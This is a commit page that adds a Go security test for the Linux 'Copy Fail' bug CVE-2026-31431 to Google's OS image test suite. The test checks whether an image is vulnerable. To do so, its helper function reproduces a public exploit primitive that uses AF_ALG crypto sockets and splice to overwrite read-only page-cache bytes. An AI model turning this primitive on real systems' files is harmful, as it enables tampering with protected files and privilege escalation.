Skip to content

Commit a4e8a23

Browse files
Guest OS Imagescopybara-github
authored andcommitted
Add a CIT security test for CVE-2026-31431.
PiperOrigin-RevId: 910754245
1 parent 9148985 commit a4e8a23

1 file changed

Lines changed: 236 additions & 0 deletions

File tree

Lines changed: 236 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,236 @@
1+
// Copyright 2024 Google LLC.
2+
//
3+
// Licensed under the Apache License, Version 2.0 (the "License");
4+
// you may not use this file except in compliance with the License.
5+
// You may obtain a copy of the License at
6+
//
7+
// http://www.apache.org/licenses/LICENSE-2.0
8+
//
9+
// Unless required by applicable law or agreed to in writing, software
10+
// distributed under the License is distributed on an "AS IS" BASIS,
11+
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12+
// See the License for the specific language governing permissions and
13+
// limitations under the License.
14+
//go:build linux
15+
// +build linux
16+
17+
package security
18+
19+
import (
20+
"bytes"
21+
"encoding/hex"
22+
"errors"
23+
"fmt"
24+
"io"
25+
"os"
26+
"path/filepath"
27+
"strings"
28+
"testing"
29+
"unsafe"
30+
31+
"golang.org/x/sys/unix"
32+
)
33+
34+
const (
35+
solAlg = 279
36+
algSetKey = 1
37+
algSetIv = 2
38+
algSetOp = 3
39+
algSetAeadAssoclen = 4
40+
algSetAeadAuthsize = 5
41+
)
42+
43+
func packCmsg(level, typ int, data []byte) []byte {
44+
cmsgSpace := unix.CmsgSpace(len(data))
45+
b := make([]byte, cmsgSpace)
46+
47+
h := (*unix.Cmsghdr)(unsafe.Pointer(&b[0]))
48+
h.Level = int32(level)
49+
h.Type = int32(typ)
50+
h.SetLen(unix.CmsgLen(len(data)))
51+
52+
copy(b[unix.CmsgLen(0):], data)
53+
return b
54+
}
55+
56+
// This function is adapted from the public Copy Fail CVE-2026-31431 PoC trigger path:
57+
// https://github.com/badsectorlabs/copyfail-go/blob/main/main.go
58+
// triggerCopyFailPrimitive initializes a vulnerable AF_ALG cryptographic socket and injects a precise
59+
// 4-byte pollution seed via the associated authenticated data (AAD) control stream.
60+
// It then leverages a zero-copy double-splice pipeline to expose the read-only physical file pages
61+
// directly as the active cipher destination buffer, mechanically forcing an in-place memory boundary
62+
// overwrite.
63+
func triggerCopyFailPrimitive(t *testing.T, f *os.File, marker []byte) error {
64+
if len(marker) != 4 {
65+
t.Logf("marker validation failed: marker must be exactly 4 bytes, got %d", len(marker))
66+
return fmt.Errorf("marker must be exactly 4 bytes, got %d", len(marker))
67+
}
68+
69+
fd, err := unix.Socket(unix.AF_ALG, unix.SOCK_SEQPACKET, 0)
70+
if err != nil {
71+
t.Logf("create AF_ALG socket failed: %v", err)
72+
return fmt.Errorf("create AF_ALG socket: %w", err)
73+
}
74+
defer unix.Close(fd)
75+
76+
sa := &unix.SockaddrALG{
77+
Type: "aead",
78+
Name: "authencesn(hmac(sha256),cbc(aes))",
79+
}
80+
81+
if err := unix.Bind(fd, sa); err != nil {
82+
t.Logf("bind AF_ALG aead/authencesn socket failed: %v", err)
83+
return fmt.Errorf("bind AF_ALG aead/authencesn socket: %w", err)
84+
}
85+
86+
keyHex := "0800010000000010" + strings.Repeat("0", 64)
87+
keyBytes, err := hex.DecodeString(keyHex)
88+
if err != nil {
89+
t.Logf("decode AF_ALG key hex failed: %v", err)
90+
return fmt.Errorf("decode AF_ALG key hex: %w", err)
91+
}
92+
93+
if err := unix.SetsockoptString(fd, solAlg, algSetKey, string(keyBytes)); err != nil {
94+
t.Logf("set AF_ALG key failed: %v", err)
95+
return fmt.Errorf("set AF_ALG key: %w", err)
96+
}
97+
98+
if err := unix.SetsockoptInt(fd, solAlg, algSetAeadAuthsize, 4); err != nil {
99+
t.Logf("set AF_ALG authsize failed: %v", err)
100+
return fmt.Errorf("set AF_ALG authsize: %w", err)
101+
}
102+
103+
uFdRaw, _, errno := unix.Syscall6(
104+
unix.SYS_ACCEPT4,
105+
uintptr(fd),
106+
0,
107+
0,
108+
0,
109+
0,
110+
0,
111+
)
112+
if errno != 0 {
113+
t.Logf("accept AF_ALG operation socket failed: %v", errno)
114+
return fmt.Errorf("accept AF_ALG operation socket: %w", errno)
115+
}
116+
117+
uFd := int(uFdRaw)
118+
defer unix.Close(uFd)
119+
120+
var oob []byte
121+
122+
oob = append(oob, packCmsg(solAlg, algSetOp, []byte{0, 0, 0, 0})...)
123+
oob = append(oob, packCmsg(solAlg, algSetIv, append([]byte{0x10}, make([]byte, 19)...))...)
124+
oob = append(oob, packCmsg(solAlg, algSetAeadAssoclen, []byte{8, 0, 0, 0})...)
125+
126+
msgData := append([]byte("AAAA"), marker...)
127+
128+
if err := unix.Sendmsg(uFd, msgData, oob, nil, unix.MSG_MORE); err != nil {
129+
t.Logf("send AF_ALG message failed: %v", err)
130+
return fmt.Errorf("send AF_ALG message: %w", err)
131+
}
132+
133+
var p [2]int
134+
if err := unix.Pipe(p[:]); err != nil {
135+
t.Logf("create pipe failed: %v", err)
136+
return fmt.Errorf("create pipe: %w", err)
137+
}
138+
defer unix.Close(p[0])
139+
defer unix.Close(p[1])
140+
141+
offset := int64(0)
142+
spliceLen := 4
143+
144+
if _, err := unix.Splice(int(f.Fd()), &offset, p[1], nil, spliceLen, 0); err != nil {
145+
t.Logf("splice file to pipe failed: %v", err)
146+
return fmt.Errorf("splice file to pipe: %w", err)
147+
}
148+
149+
if _, err := unix.Splice(p[0], nil, uFd, nil, spliceLen, 0); err != nil {
150+
t.Logf("splice pipe to AF_ALG socket failed: %v", err)
151+
return fmt.Errorf("splice pipe to AF_ALG socket: %w", err)
152+
}
153+
154+
buf := make([]byte, 8)
155+
if n, err := unix.Read(uFd, buf); err != nil {
156+
if errors.Is(err, unix.EBADMSG) {
157+
t.Logf("read AF_ALG output returned EBADMSG/bad message: n=%d err=%v", n, err)
158+
t.Logf("continuing to read back target bytes; final decision is based on after == marker")
159+
return nil
160+
}
161+
t.Logf("read AF_ALG output failed: n=%d err=%T %v", n, err, err)
162+
}
163+
164+
t.Logf("triggerCopyFailPrimitive completed successfully")
165+
return nil
166+
}
167+
168+
// TestCopyFailPageCacheOverwrite4Bytes simulates a zero-copy AF_ALG socket splice() attack to detect
169+
// whether a read-only 4-byte page cache boundary can be illicitly mutated in place..
170+
func TestCopyFailPageCacheOverwrite4Bytes(t *testing.T) {
171+
marker := []byte("BBBB")
172+
173+
dir := t.TempDir()
174+
targetPath := filepath.Join(dir, "readonly-target")
175+
176+
// Known file contents: before[0:4] should be "AAAA".
177+
// If the primitive is still vulnerable, after[0:4] may become "BBBB".
178+
original := bytes.Repeat([]byte("A"), 4096)
179+
180+
if err := os.WriteFile(targetPath, original, 0444); err != nil {
181+
t.Fatalf("create target file: %v", err)
182+
}
183+
184+
f, err := os.Open(targetPath)
185+
if err != nil {
186+
t.Fatalf("open target read-only: %v", err)
187+
}
188+
defer f.Close()
189+
190+
before := make([]byte, len(marker))
191+
n, err := f.ReadAt(before, 0)
192+
if err != nil && err != io.EOF {
193+
t.Fatalf("read before bytes: %v", err)
194+
}
195+
if n != len(marker) {
196+
t.Fatalf("read before bytes: got %d bytes, want %d", n, len(marker))
197+
}
198+
199+
t.Logf("before overwrite attempt: %q", before)
200+
201+
if bytes.Equal(before, marker) {
202+
t.Fatalf("test setup invalid: before bytes already equal marker %q", marker)
203+
}
204+
205+
err = triggerCopyFailPrimitive(t, f, marker)
206+
if err != nil {
207+
if errors.Is(err, unix.ENOENT) ||
208+
errors.Is(err, unix.ENODEV) ||
209+
errors.Is(err, unix.EAFNOSUPPORT) ||
210+
errors.Is(err, unix.EOPNOTSUPP) ||
211+
errors.Is(err, unix.ENOPROTOOPT) {
212+
t.Skipf("AF_ALG/authencesn path unavailable on this image: %v", err)
213+
}
214+
215+
t.Logf("primitive trigger path did not complete: %v", err)
216+
t.Logf("page-cache overwrite not observed")
217+
return
218+
}
219+
220+
after := make([]byte, len(marker))
221+
n, err = f.ReadAt(after, 0)
222+
if err != nil && err != io.EOF {
223+
t.Fatalf("read after bytes: %v", err)
224+
}
225+
if n != len(marker) {
226+
t.Fatalf("read after bytes: got %d bytes, want %d", n, len(marker))
227+
}
228+
229+
t.Logf("after overwrite attempt: %q", after)
230+
231+
if bytes.Equal(after, marker) {
232+
t.Fatalf("VULNERABLE: 4-byte page-cache overwrite primitive observed: before=%q after=%q marker=%q", before, after, marker)
233+
}
234+
235+
t.Logf("PASS: 4-byte marker overwrite was not observed: before=%q after=%q marker=%q", before, after, marker)
236+
}

0 commit comments

Comments
 (0)